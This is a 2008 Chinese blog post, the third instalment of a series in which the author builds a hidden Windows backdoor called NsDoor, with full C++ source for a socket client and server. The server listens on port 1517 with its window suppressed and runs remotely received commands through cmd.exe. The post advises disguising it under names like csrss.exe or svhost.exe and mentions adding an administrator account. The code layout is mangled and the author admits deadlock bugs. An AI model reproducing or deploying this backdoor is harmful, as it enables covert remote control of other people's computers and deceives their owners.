循环渐进NsDoor(三)

2G的内存,T5450的U,结果匿名管道Sleep(300)都跑不对PeekNamePipe(...);Fuck!Fuck!白测试两天时间啊~
想骂人…
日,好浪费时间…
不过还是怪自己从没做过这种网络通信问题..本机的通信都很有这么长延迟,不知道高速大吞吐量网络环境下怎么办,可以考虑换汇编…
今天也遇到了汇编的单管道反弹性后门..
希望shellcode后可以速度有所提升
自己还没有解决C/S两边同时进行等待输入错误时,怎么自动缓解,都怪PeekNamePipe这个函数啊…
­
写这个NsDoor是个循环渐进的过程..
争取每次都能有个DEMO演示,然后下次都有新功能…
我昨天辗转反侧,最终决定,这个NsDoor先向backdoor发展,即越小越好….
功能简单强大…
最终实现shellcode化…
然后我再重新架构,实现一个高级的类木马东东,这个东东争取功能创新,不和主流木马一样的,因为主流的木马根本写不来…汗..
昨天在考虑那个服务端生成器的问题,有一点点眉目,参考了下delphi,争取后几节贡献出来,哈哈哈
­
先来解决上次遗留下来的问题:
仅仅是socket通信然后收到条固定消息有屁用,让它可以做点不为人知的事,嘿嘿
­
这次让它可以执行CMD命令,这个功能说小不小,说大不大,但还是很重要的说..
能执行CMD命令貌似方法不少,可以直接调用API,也可以进程间通信,我决定还是参考别人的进程间通信….
调用API的应该不难,但后面再shellcode就不太清楚了,等有空我试下,或者找小三仔一起研究下,啊哈哈
还有,这个是利用匿名管道通信,但是这个可是可以分成双管道通信、单管道通信、甚至零管道通信,各有利弊,最终决定取中间,使用单管道通信…原因是我已经拿到单管道德shellcode啦,可以最后对比下哈…
­
     以命令为参数运行cmd.exe
­
     (远程主机→传送命令-→以命令为参数建立cmd.exe子进程运行
     (远程主机)←输入→管道输出→管道输入→输出(cmd.exe子进程)
­
先贴出来客户端吧…
#include<iostream> 
#include
<string.h> 
#include
<winsock.h> 
#pragma comment(lib,"Ws2_32") 
using std::cout; 
using std::endl; 
using std::cin; 
­
//void ConnStrFilter(char* ConnStr,char* ip,char* pro); 
­
int main() 

    cout
<<"     -------------------------*******************-------------------------"<<endl; 
    cout
<<"     -                                                                   -"<<endl; 
    cout
<<"     -                Welcome to a magic world,NewSketcher~              -"<<endl; 
    cout
<<"     -                                                                   -"<<endl; 
    cout
<<"     -                  QQ:381002948 E-mail:ns517@126.com                -"<<endl; 
    cout
<<"     -                                                                   -"<<endl; 
    cout
<<"     -------------------------*******************-------------------------"<<endl; 
    cout
<<endl; 
    
int PORT = 0
    SOCKET sockfd; 
    
struct sockaddr_in their_addr; 
    
//char* connStr; 
    char IP[16= {0}; 
    cout
<<"Connect IP&Port:"
    cin
>>IP>>PORT; 
­
    WSADATA ws; 
    WSAStartup(MAKEWORD(
2,2),&ws); 
­
    
if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1
    { 
       cout
<<"socket error"<<endl; 
       exit(
1); 
    } 
­
    their_addr.sin_family 
= AF_INET; 
    their_addr.sin_port 
= htons(PORT); 
    their_addr.sin_addr.s_addr 
= inet_addr(IP); 
­
    
if(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1
    { 
       cout
<<"connect error"<<endl; 
       system(
"pause"); 
       closesocket(sockfd); 
       exit(
1); 
    } 
­
    cout
<<"Connection OK!"<<endl<<"You can input the CmdLine OR ."<<endl<<endl;//还有功能未实现呵呵 
­
    
char CmdLine[200= {0}; 
    
char CmdLineStr[200= {0}; 
    
char Buf[1024= {0}; 
    memset(CmdLineStr,
0,200); 
    
while(true
    { 
       cout
<<"CmdLine:"">"
       cin.getline(CmdLineStr,
sizeof CmdLineStr); 
       
if(*CmdLineStr == 0
           
continue
­
       
if( CmdLineStr[0]=='e' && CmdLineStr[1]=='x' && CmdLineStr[2]=='i' && CmdLineStr[3]=='t'
       { 
           cout
<<"this is the end;"<<endl; 
           
break
       } 
­
       strcat_s(CmdLine,
200,"cmd.exe /c"); 
       strcat_s(CmdLine,
200,CmdLineStr); 
­
       
if( send(sockfd,CmdLine,200,0== -1
        { 
           cout
<<"send cmdline error~"<<endl; 
           
continue
       } 
       
       recv(sockfd,Buf,
1024,0); 
       cout
<<Buf<<endl; 
       memset(Buf,
0,1024); 
       memset(CmdLineStr,
0,200); 
       memset(CmdLine,
0,200); 
    } 
­
    closesocket(sockfd); 
­
    
return 0

­
/*void ConnStrFilter(char* ConnStr,char* ip,char* pro) 

    while(*ConnStr != ' ') 
    { 
       *ip++ = *ConnStr++; 
    } 
    *ip '"0'; 
    ConnStr++; 
    strcpy_s(pro,6,ConnStr); 
}
*/ 
客户端比较简单吧,连废掉的代码也一起贴出来了》。。 
­
再来服务端: 
//NsServer2 如何让一函数执行一定时间未返回就强制结束它.? 
#include<iostream> 
#include
<winsock2.h> 
using std::cout; 
using std::endl; 
#pragma comment(lib,"Ws2_32") 
#pragma comment( linker, "/subsystem:windows /entry:main")//简单的隐藏 
­
int main() 

    
const int PORT = 1517
    
const int BACKLOG = 2;//端口为常量问题在生成器部分应该可以解决 
    int sockfd,new_fd; 
    
int sin_size; 
    
int ret; 
    
char Buf[1024]; 
    
struct sockaddr_in server_addr; 
    WSADATA ws; 
­
    WSAStartup(MAKEWORD(
2,2),&ws); 
    sockfd 
= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//IPPROTO_TCP 
­
    server_addr.sin_family 
= AF_INET; 
    server_addr.sin_port 
= htons(PORT); 
    server_addr.sin_addr.s_addr 
= ADDR_ANY; 
     
    ret 
= bind(sockfd,(struct sockaddr*)&server_addr,sizeof server_addr); 
    ret 
= listen(sockfd,BACKLOG); 
­
    sin_size 
= sizeof server_addr; 
    new_fd 
= accept(sockfd,(struct sockaddr*)&server_addr,&sin_size); 
­
    SECURITY_ATTRIBUTES pipeattr; 
    HANDLE hReadPipe,hWritePipe; 
    pipeattr.nLength 
= 12;//还好不是幻数,oh
    pipeattr.bInheritHandle = true
    pipeattr.lpSecurityDescriptor 
= 0
    CreatePipe(
&hReadPipe,&hWritePipe,&pipeattr,0); 
­
    STARTUPINFOA si; 
    ZeroMemory(
&si,sizeof si);//ZeroMemory类函数有比strcpy的好处.00 
­
    si.dwFlags 
= STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 
    si.wShowWindow 
= SW_HIDE; 
    si.hStdOutput 
= si.hStdError = hWritePipe;//木输入管道 
­
    PROCESS_INFORMATION ProcessInformation; 
­
    
char cmdLine[200]; 
    unsigned 
long lBytesRead; 
­
    CreateProcessA(NULL,
"cmd.exe /c",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); 
­
    
//cout<<"i am ready.."<<endl; 
­
    
/*while(true) 
    { 
       PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0); 
       cout<<"here"<<endl; 
       if(lBytesRead) 
       { 
           cout<<"here    coutn"<<endl; 
           CloseHandle(hWritePipe); 
           ret = ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0); 
           if(!ret) 
           { 
              cout<<"readfile error"<<endl; 
              system("pause"); 
              continue; 
           } 
           cout<<Buf<<endl; 
           ret = send(new_fd,Buf,lBytesRead,0); 
           if(ret<=0) 
           { 
              cout<<"send information error"<<endl; 
              continue; 
           } 
       } 
       else 
       { 
           /*while(Buf[pBuf-Buf-1] != '~') 
           { 
              recv(new_fd,pBuf,1024,0); 
              pBuf++; 
           } 
           Buf[pBuf-Buf-1] = '"0'; 
           lBytesRead = pBuf-Buf-1; 
       
           strcpy(cmdLine,"cmd.exe /c");// /c 和/k这个是个问题.单通道的不爽之处 需要‘&’辅助..       
           cout<<"connect success"<<endl; 
           strncat(cmdLine,Buf,lBytesRead);//安全新版本,哈哈 
           cout<<cmdLine<<endl; 
           if( (lBytesRead = recv(new_fd,cmdLine,200,0)) == -1) 
           { 
              cout<<"recv error"<<endl; 
              continue; 
           } 
           cout<<cmdLine<<endl; 
     
           CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//在这里我遇到了传说中的编译器不兼容问题,累死最终改用调用ASC版本,注意第二和第九个参数
              //send(new_fd,"bad command"n",20,0); 
­
­
           memset(cmdLine,0,200); 
       } 
    }
*/ 
­
    
/*while(true) 
    { 
       if( lBytesRead = recv(new_fd,cmdLine,200,0) == -1) 
       { 
           cout<<"recv error"<<endl; 
           continue; 
       } 
­
       cout<<cmdLine<<endl; 
       
       while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)); 
­
       //CloseHandle(hWritePipe); 
­
       //Sleep(100); 
       /*while(true) 
       { 
           if(!ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL)) 
              break; 
           cout<<lBytesRead<<endl<<Buf<<endl; 
           while(send(new_fd,Buf,1024,0) == -1) 
           { 
              cout<<"send error"<<endl; 
           } 
           memset(Buf,0,1024); 
           Sleep(100); 
       }
*/ 
       
/*while(true) 
       { 
           ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL); 
           if(lBytesRead) 
              break; 
           send(new_fd,Buf,1024,0); 
           memset(Buf,0,1024); 
       } 
       cout<<"over"<<endl; 
       send(new_fd,"over",5,0); 
            while(1) 
     { 
         //检查管道,即cmd进程是否有输出 
         ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); 
         if(lBytesRead) 
         { 
              //管道有输出,读出结果发给远程客户机 
              ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); 
              if(!ret) break; 
              ret=send(clientFD,Buff,lBytesRead,0); 
              if(ret<=0) break; 
         } 
         else 
         { 
              //否则,接收远程客户机的命令 
              lBytesRead=recv(clientFD,Buff,1024,0); 
              if(lBytesRead<=0) break; 
­
              strcpy(cmdLine, "cmd.exe /c");            //cd" & dir 
              strncat(cmdLine, Buff, lBytesRead); 
­
               //以命令为参数,合成后启动CMD执行 
­
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); 
­
         } 
     } 
­
    }
*/ 
     
while(1
     { 
        Sleep(
1000);//多睡会
         
//检查管道,即cmd进程是否有输出 
         ret=PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0); 
        
if(lBytesRead) 
         { 
­
              ret
=ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0); 
              
if(!ret) break
              ret
=send(new_fd,Buf,lBytesRead,0); 
              
if(ret<=0break
         } 
         
else 
         { 
­
              lBytesRead
=recv(new_fd,cmdLine,1024,0); 
­
              
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)); 
­
             
//cout<<cmdLine<<endl; 
             memset(cmdLine,0,200); 
         } 
     } 
­
    closesocket(sockfd); 
    closesocket(new_fd); 
    
return 0

这次你会发现有多少代码废掉了,全部是获取匿名管道内数据的代码,测试了好几种方法都不行,甚至我改用双管道和反弹都没搞定,目前这个代码也有一些bug,存在死锁的可能性,都在两边同时执行recv函数,结果两边互相等待,最终废掉了,估计这个bug还算好解决,可惜我懒的再修改了》。。
在上面的废弃的代码里,尤其是CreateProcess这个函数存在编译器不兼容问题,具体的说应该是ASCII和UNICODE 码之间的问题,VS08下比较麻烦,所以直接强制使用A版本,不是默认的UNICODE 版本…
#pragma comment( linker, "/subsystem:windows /entry:main")//简单的隐藏
这句可以让控制台程序不显示其窗口,而且只在进程里面显示出来名字,所以可以把服务端命名为csrss.exe svhost.exe这样迷惑人的名字..
这里我命名为csrs.exe,防止一会我自己也不知道是哪个进程了…
­
测试报告…
生成的程序:
­
­
Xp竟然不支持我VS08下生成的程序,说程序配置不行,应该是我XP太老的缘故..
本机测试…
服务端已经运行,没有弹出窗口,很好…
­
­
­
­
看见没,csrs.exe在里面,如果想再隐藏的深点,可以选择隐藏进程》。
­
­
­
­
这是客户端的样子,还算不错的说,啊哈哈
输入192.168.0.20 1517
­
­
连接成功…
­
­
执行net user的结果
dir的结果
­
­
Net time的结果
­
­
直接回车的结果
­
错误输入的结果
以上测试结果都是完全正确的,可见服务端可以作为一个比较强大的shell,你可以输入添加一个管理员的CMD命令,只不过我是用的VISTA本本,所以就不测试这个强大的命令了
另外提一句,这是单通道的shell,如果想以此 执行一条以上命令 如 cd..和dir必须以这种格式
cd..&dir 即一条以上命令要加&连接符才能利用上条命令的结果…
­
另外 说下不好的地方,刚才我测试的时候,大约输入20条命令,出现好几次管道数据未读完,结果是在下一条命令输入后显示出来的,又是管道通信的问题,还没想到很好的 解决办法,所以这个后门相当不稳定,不过后面还会编写反弹的后门,所以这个是个过渡品的说…
总之,问题很多…
­
­
                                     ------------by NewSketcher
                                              Time: 080815 14:1
­
­
­
posted @ 2008-10-04 12:52  端木  阅读(457)  评论(0编辑  收藏  举报